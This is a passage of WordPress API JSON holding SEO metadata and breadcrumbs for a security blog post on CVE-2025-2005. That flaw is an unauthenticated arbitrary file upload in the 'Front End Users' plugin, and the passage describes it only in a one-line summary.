href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-2005-critical-vulnerability-in-the-wordpress-plugin-front-end-users-feup\/\" \/>\n\t\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 5.0.4\" \/>\n\t\t<meta property=\"og:locale\" content=\"en_US\" \/>\n\t\t<meta property=\"og:site_name\" content=\"Ameeba Blog - Your Guide to a Safer Digital World.\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"CVE-2025-2005: Critical Vulnerability in the WordPress plugin \u201cFront End Users\u201d (FEUP) - Ameeba Blog\" \/>\n\t\t<meta property=\"og:description\" content=\"CVE-2025-2005 is a critical vulnerability in the WordPress plugin &quot;Front End Users&quot; (FEUP), versions up to and including 3.2.32. This flaw allows unauthenticated attackers to upload arbitrary files, potentially leading to remote code execution (RCE) on the affected server. Vulnerability Summary CVE ID: CVE-2025-2005\u200b Severity: Critical (CVSS 3.1 Score: 9.8)\u200bCIRCL CVE+1NVD+1 Attack Vector: Network\u200bCVE Privileges\" \/>\n\t\t<meta property=\"og:url\" content=\"https:\/\/www.ameeba.com\/blog\/cve-2025-2005-critical-vulnerability-in-the-wordpress-plugin-front-end-users-feup\/\" \/>\n\t\t<meta property=\"og:image\" content=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/02\/image-5.png\" \/>\n\t\t<meta property=\"og:image:secure_url\" content=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/02\/image-5.png\" \/>\n\t\t<meta property=\"article:published_time\" content=\"2025-04-09T08:24:40+00:00\" \/>\n\t\t<meta property=\"article:modified_time\" content=\"2025-07-07T11:24:31+00:00\" \/>\n\t\t<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n\t\t<meta name=\"twitter:title\" content=\"CVE-2025-2005: Critical Vulnerability in the WordPress plugin \u201cFront End Users\u201d (FEUP) - Ameeba Blog\" \/>\n\t\t<meta name=\"twitter:description\" content=\"CVE-2025-2005 is a critical vulnerability in the WordPress plugin &quot;Front End Users&quot; (FEUP), versions up to and including 3.2.32. This flaw allows unauthenticated attackers to upload arbitrary files, potentially leading to remote code execution (RCE) on the affected server. Vulnerability Summary CVE ID: CVE-2025-2005\u200b Severity: Critical (CVSS 3.1 Score: 9.8)\u200bCIRCL CVE+1NVD+1 Attack Vector: Network\u200bCVE Privileges\" \/>\n\t\t<meta name=\"twitter:image\" content=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/02\/image-5.png\" \/>\n\t\t<script type=\"application\/ld+json\" class=\"aioseo-schema\">\n\t\t\t{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"BlogPosting\",\"@id\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/cve-2025-2005-critical-vulnerability-in-the-wordpress-plugin-front-end-users-feup\\\/#blogposting\",\"name\":\"CVE-2025-2005: Critical Vulnerability in the WordPress plugin \\u201cFront End Users\\u201d (FEUP) - Ameeba Blog\",\"headline\":\"CVE-2025-2005: Critical Vulnerability in the WordPress plugin &#8220;Front End Users&#8221; (FEUP)\",\"author\":{\"@id\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/author\\\/admin\\\/#author\"},\"publisher\":{\"@id\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/#organization\"},\"image\":{\"@type\":\"ImageObject\",\"url\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/wp-content\\\/uploads\\\/2025\\\/02\\\/image-5.png\",\"@id\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/#articleImage\"},\"datePublished\":\"2025-04-09T08:24:40+00:00\",\"dateModified\":\"2025-07-07T05:24:31+00:00\",\"inLanguage\":\"en-US\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/cve-2025-2005-critical-vulnerability-in-the-wordpress-plugin-front-end-users-feup\\\/#webpage\"},\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/cve-2025-2005-critical-vulnerability-in-the-wordpress-plugin-front-end-users-feup\\\/#webpage\"},\"articleSection\":\"Uncategorized, Github, Rce\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/cve-2025-2005-critical-vulnerability-in-the-wordpress-plugin-front-end-users-feup\\\/#breadcrumblist\",\"itemListElement\":[{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/#listItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/\",\"nextItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/category\\\/uncategorized\\\/#listItem\",\"name\":\"Uncategorized\"}},{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/category\\\/uncategorized\\\/#listItem\",\"position\":2,\"name\":\"Uncategorized\",\"item\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/category\\\/uncategorized\\\/\",\"nextItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/cve-2025-2005-critical-vulnerability-in-the-wordpress-plugin-front-end-users-feup\\\/#listItem\",\"name\":\"CVE-2025-2005: Critical Vulnerability in the WordPress plugin &#8220;Front End Users&#8221; (FEUP)\"},\"previousItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/#listItem\",\"name\":\"Home\"}},{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/cve-2025-2005-critical-vulnerability-in-the-wordpress-plugin-front-end-users-feup\\\/#listItem\",\"position\":3,\"name\":\"CVE-2025-2005: Critical Vulnerability in the WordPress plugin &#8220;Front End Users&#8221; (FEUP)\",\"previousItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/category\\\/uncategorized\\\/#listItem\",\"name\":\"Uncategorized\"}}]},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/#organization\",\"name\":\"Ameeba Blog\",\"description\":\"Your Guide to a Safer Digital World.\",\"url\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"url\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/wp-content\\\/uploads\\\/2025\\\/02\\\/image-5.png\",\"@id\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/cve-2025-2005-critical-vulnerability-in-the-wordpress-plugin-front-end-users-feup\\\/#organizationLogo\"},\"image\":{\"@id\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/cve-2025-2005-critical-vulnerability-in-the-wordpress-plugin-front-end-users-feup\\\/#organizationLogo\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/author\\\/admin\\\/#author\",\"url\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/author\\\/admin\\\/\",\"name\":\"Ameeba\",\"image\":{\"@type\":\"ImageObject\",\"@id\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/cve-2025-2005-critical-vulnerability-in-the-wordpress-plugin-front-end-users-feup\\\/#authorImage\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/ead225eeac23a6207666b4137a84523c6b550501a7ee49c81559ebd727825560?s=96&d=mm&r=g\",\"width\":96,\"height\":96,\"caption\":\"Ameeba\"}},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/cve-2025-2005-critical-vulnerability-in-the-wordpress-plugin-front-end-users-feup\\\/#webpage\",\"url\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/cve-2025-2005-critical-vulnerability-in-the-wordpress-plugin-front-end-users-feup\\\/\",\"name\":\"CVE-2025-2005: Critical Vulnerability in the WordPress plugin \\u201cFront End Users\\u201d (FEUP) - Ameeba Blog\",\"description\":\"CVE-2025-2005 is a critical vulnerability in the WordPress plugin \\\"Front End Users\\\" (FEUP), versions up to and including 3.2.32. This flaw allows unauthenticated attackers to upload arbitrary files, potentially leading to remote code execution (RCE) on the affected server. Vulnerability Summary CVE ID: CVE-2025-2005\\u200b Severity: Critical (CVSS 3.1 Score: 9.8)\\u200bCIRCL CVE+1NVD+1 Attack Vector: Network\\u200bCVE Privileges\",\"inLanguage\":\"en-US\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/#website\"},\"breadcrumb\":{\"@id\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/cve-2025-2005-critical-vulnerability-in-the-wordpress-plugin-front-end-users-feup\\\/#breadcrumblist\"},\"author\":{\"@id\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/author\\\/admin\\\/#author\"},\"creator\":{\"@id\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/author\\\/admin\\\/#author\"},\"datePublished\":\"2025-04-09T08:24:40+00:00\",\"dateModified\":\"2025-07-07T05:24:31+00:00\"},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/#website\",\"url\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/\",\"name\":\"Ameeba Blog\",\"description\":\"Your Guide to a Safer Digital World.\",\"inLanguage\":\"en-US\",\"publisher\":{\"@id\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/#organization\"}}]}\n\t\t<\/script>\n\t\t<!-- All in One SEO -->\n\n","aioseo_head_json":{"title":"CVE-2025-2005: Critical Vulnerability in the WordPress plugin \u201cFront End Users\u201d (FEUP) - Ameeba Blog","description":"CVE-2025-2005 is a critical vulnerability in the WordPress plugin \"Front End Users\" (FEUP), versions up to and including 3.2.32. This flaw allows unauthenticated attackers to upload arbitrary files, potentially leading to remote code execution (RCE) on the affected server. Vulnerability Summary CVE ID: CVE-2025-2005\u200b Severity: Critical (CVSS 3.1 Score: 9.8)\u200bCIRCL CVE+1NVD+1 Attack Vector: Network\u200bCVE Privileges","canonical_url":"https:\/\/www.ameeba.com\/blog\/cve-2025-2005-critical-vulnerability-in-the-wordpress-plugin-front-end-users-feup\/","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"BlogPosting","@id":"https:\/\/www.ameeba.com\/blog\/cve-2025-2005-critical-vulnerability-in-the-wordpress-plugin-front-end-users-feup\/#blogposting","name":"CVE-2025-2005: Critical Vulnerability in the WordPress plugin \u201cFront End Users\u201d (FEUP) - Ameeba Blog","headline":"CVE-2025-2005: Critical Vulnerability in the WordPress plugin &#8220;Front End Users&#8221; (FEUP)","author":{"@id":"https:\/\/www.ameeba.com\/blog\/author\/admin\/#author"},"publisher":{"@id":"https:\/\/www.ameeba.com\/blog\/#organization"},"image":{"@type":"ImageObject","url":"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/02\/image-5.png","@id":"https:\/\/www.ameeba.com\/blog\/#articleImage"},"datePublished":"2025-04-09T08:24:40+00:00","dateModified":"2025-07-07T05:24:31+00:00","inLanguage":"en-US","mainEntityOfPage":{"@id":"https:\/\/www.ameeba.com\/blog\/cve-2025-2005-critical-vulnerability-in-the-wordpress-plugin-front-end-users-feup\/#webpage"},"isPartOf":{"@id":"https:\/\/www.ameeba.com\/blog\/cve-2025-2005-critical-vulnerability-in-the-wordpress-plugin-front-end-users-feup\/#webpage"},"articleSection":"Uncategorized, Github, Rce"},{"@type":"BreadcrumbList","@id":"https:\/\/www.ameeba.com\/blog\/cve-2025-2005-critical-vulnerability-in-the-wordpress-plugin-front-end-users-feup\/#breadcrumblist","itemListElement":[{"@type":"ListItem","@id":"https:\/\/www.ameeba.com\/blog\/#listItem","position":1,"name":"Home","item":"https:\/\/www.ameeba.com\/blog\/","nextItem":{"@type":"ListItem","@id":"https:\/\/www.ameeba.com\/blog\/category\/uncategorized\/#listItem","name":"Uncategorized"}},{"@type":"ListItem","@id":"https:\/\/www.ameeba.com\/blog\/category\/uncategorized\/#listItem","position":2,"name":"Uncategorized","item":"https:\/\/www.ameeba.com\/blog\/category\/uncategorized\/","nextItem":{"@type":"ListItem","@id":"https:\/\/www.ameeba.com\/blog\/cve-2025-2005-critical-vulnerability-in-the-wordpress-plugin-front-end-users-feup\/#listItem","name":"CVE-2025-2005: Critical Vulnerability in the WordPress plugin &#8220;Front End Users&#8221; (FEUP)"},"previousItem":{"@type":"ListItem","@id":"https:\/\/www.ameeba.com\/blog\/#listItem","name":"Home"}},{"@type":"ListItem","@id":"https:\/\/www.ameeba.com\/blog\/cve-2025-2005-critical-vulnerability-in-the-wordpress-plugin-front-end-users-feup\/#listItem","position":3,"name":"CVE-2025-2005: Critical Vulnerability in the WordPress plugin &#8220;Front End Users&#8221; (FEUP)","previousItem":{"@type":"ListItem","@id":"https:\/\/www.ameeba.com\/blog\/category\/uncategorized\/#listItem","name":"Uncategorized"}}]},{"@type":"Organization","@id":"https:\/\/www.ameeba.com\/blog\/#organization","name":"Ameeba Blog","description":"Your Guide to a Safer Digital World.","url":"https:\/\/www.ameeba.com\/blog\/","logo":{"@type":"ImageObject","url":"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/02\/image-5.png","@id":"https:\/\/www.ameeba.com\/blog\/cve-2025-2005-critical-vulnerability-in-the-wordpress-plugin-front-end-users-feup\/#organizationLogo"},"image":{"@id":"https:\/\/www.ameeba.com\/blog\/cve-2025-2005-critical-vulnerability-in-the-wordpress-plugin-front-end-users-feup\/#organizationLogo"}},{"@type":"Person","@id":"https:\/\/www.ameeba.com\/blog\/author\/admin\/#author","url":"https:\/\/www.ameeba.com\/blog\/author\/admin\/","name":"Ameeba","image":{"@type":"ImageObject","@id":"https:\/\/www.ameeba.com\/blog\/cve-2025-2005-critical-vulnerability-in-the-wordpress-plugin-front-end-users-feup\/#authorImage","url":"https:\/\/secure.gravatar.com\/avatar\/ead225eeac23a6207666b4137a84523c6b550501a7ee49c81559ebd727825560?s=96&d=mm&r=g","width":96,"height":96,"caption":"Ameeba"}},{"@type":"WebPage","@id":"https:\/\/www.ameeba.com\/blog\/cve-2025-2005-critical-vulnerability-in-the-wordpress-plugin-front-end-users-feup\/#webpage","url":"https:\/\/www.ameeba.com\/blog\/cve-2025-2005-critical-vulnerability-in-the-wordpress-plugin-front-end-users-feup\/","name":"CVE-2025-2005: Critical Vulnerability in the WordPress plugin \u201cFront End Users\u201d (FEUP) - Ameeba Blog","description":"CVE-2025-2005 is a critical vulnerability in the WordPress plugin \"Front End Users\" (FEUP), versions up to and including 3.2.32. This flaw allows unauthenticated attackers to upload arbitrary files, potentially leading to remote code execution (RCE) on the affected server. Vulnerability Summary CVE ID: CVE-2025-2005\u200b Severity: Critical (CVSS 3.1 Score: 9.8)\u200bCIRCL CVE+1NVD+1 Attack Vector: Network\u200bCVE Privileges","inLanguage":"en-US","isPartOf":{"@id":"https:\/\/www.ameeba.com\/blog\/#website"},"breadcrumb":{"@id":"https:\/\/www.ameeba.com\/blog\/cve-2025-2005-critical-vulnerability-in-the-wordpress-plugin-front-end-users-feup\/#breadcrumblist"},"author":{"@id":"https:\/\/www.ameeba.com\/blog\/author\/admin\/#author"},"creator":{"@id":"https:\/\/www.ameeba.com\/blog\/author\/admin\/#author"},"datePublished":"2025-04-09T08:24:40+00:00","dateModified":"2025-07-07T05:24:31+00:00"},{"@type":"WebSite","@id":"https:\/\/www.ameeba.com\/blog\/#website","url":"https:\/\/www.ameeba.com\/blog\/","name":"Ameeba Blog","description":"Your Guide to a Safer Digital World.","inLanguage":"en-US","publisher":{"@id":"https:\/\/www.ameeba.com\/blog\/#organization"}}]},"og:locale":"en_US","og:site_name":"Ameeba Blog - Your Guide to a Safer Digital World.","og:type":"article","og:title":"CVE-2025-2005: Critical Vulnerability in the WordPress plugin \u201cFront End Users\u201d (FEUP) - Ameeba Blog","og:description":"CVE-2025-2005 is a critical vulnerability in the WordPress plugin &quot;Front End Users&quot; (FEUP), versions up to and including 3.2.32. This flaw allows unauthenticated attackers to upload arbitrary files, potentially leading to remote code execution (RCE) on the affected server. Vulnerability Summary CVE ID: CVE-2025-2005\u200b Severity: Critical (CVSS 3.1 Score: 9.8)\u200bCIRCL CVE+1NVD+1 Attack Vector: Network\u200bCVE Privileges","og:url":"https:\/\/www.ameeba.com\/blog\/cve-2025-2005-critical-vulnerability-in-the-wordpress-plugin-front-end-users-feup\/","og:image":"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/02\/image-5.png","og:image:secure_url":"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/02\/image-5.png","article:published_time":"2025-04-09T08:24:40+00:00","article:modified_time":"2025-07-07T11:24:31+00:00","twitter:card":"summary_large_image","twitter:title":"CVE-2025-2005: Critical Vulnerability in the WordPress plugin \u201cFront End Users\u201d (FEUP) - Ameeba Blog","twitter:description":"CVE-2025-2005 is a critical vulnerability in the WordPress plugin &quot;Front End Users&quot; (FEUP), versions up to and including 3.2.32. This flaw allows unauthenticated attackers to upload arbitrary files, potentially leading to remote code execution (RCE) on the affected server. Vulnerability Summary CVE ID: CVE-2025-2005\u200b Severity: Critical (CVSS 3.1 Score: 9.8)\u200bCIRCL CVE+1NVD+1 Attack Vector: Network\u200bCVE Privileges","twitter:image":"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/02\/image-5.png"},"aioseo_meta_data":{"post_id":"20261","title":null,"description":null,"keywords":null,"keyphrases":{"focus":{"keyphrase":"","score":0,"analysis":{"keyphraseInTitle":{"score":0,"maxScore":9,"error":1}}},"additional":[]},"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":"","og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"BlogPosting","isEnabled":true},"graphs":[]},"schema_type":"default","schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":"-1","robots_max_videopreview":"-1","robots_max_imagepreview":"large","priority":null,"frequency":"default","local_seo":null,"limit_modified_date":false,"created":"2025-04-09 08:29:50","updated":"2026-04-06 03:55:01","focus_keyword":null,"additional_keywords":null,"truseo_locale":null,"ai":null,"breadcrumb_settings":null,"seo_analyzer_scan_date":null},"aioseo_breadcrumb":"<div class=\"aioseo-breadcrumbs\"><span class=\"aioseo-breadcrumb\">\n\t\t\t<a href=\"https:\/\/www.ameeba.com\/blog\/\" title=\"Home\">Home<\/a>\n\t\t<\/span><span class=\"aioseo-breadcrumb-separator\">\u00bb<\/span><span class=\"aioseo-breadcrumb\">\n\t\t\t<a href=\"https:\/\/www.ameeba.com\/blog\/category\/uncategorized\/\" title=\"Uncategorized\">Uncategorized<\/a>\n\t\t<\/span><span class=\"aioseo-breadcrumb-separator\">\u00bb<\/span><span class=\"aioseo-breadcrumb\">\n\t\t\t<strong>CVE-2025-2005:<\/strong> Critical Vulnerability in the WordPress plugin \u201cFront End Users\u201d (FEUP)\n\t\t<\/span><\/div>","aioseo_breadcrumb_json":[{"label":"Home","link":"https:\/\/www.ameeba.com\/blog\/"},{"label":"Uncategorized","link":"https:\/\/www.ameeba.com\/blog\/category\/uncategorized\/"},{"label":"<strong>CVE-2025-2005:<\/strong> Critical Vulnerability in the WordPress plugin &#8220;Front End Users&#8221; (FEUP)","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-2005-critical-vulnerability-in-the-wordpress-plugin-front-end-users-feup\/"}],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/20261","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=20261"}],"version-history":[{"count":0,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/20261\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=20261"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=20261"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=20261"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=20261"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=20261"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=20261"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=20261"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=20261"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=20261"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}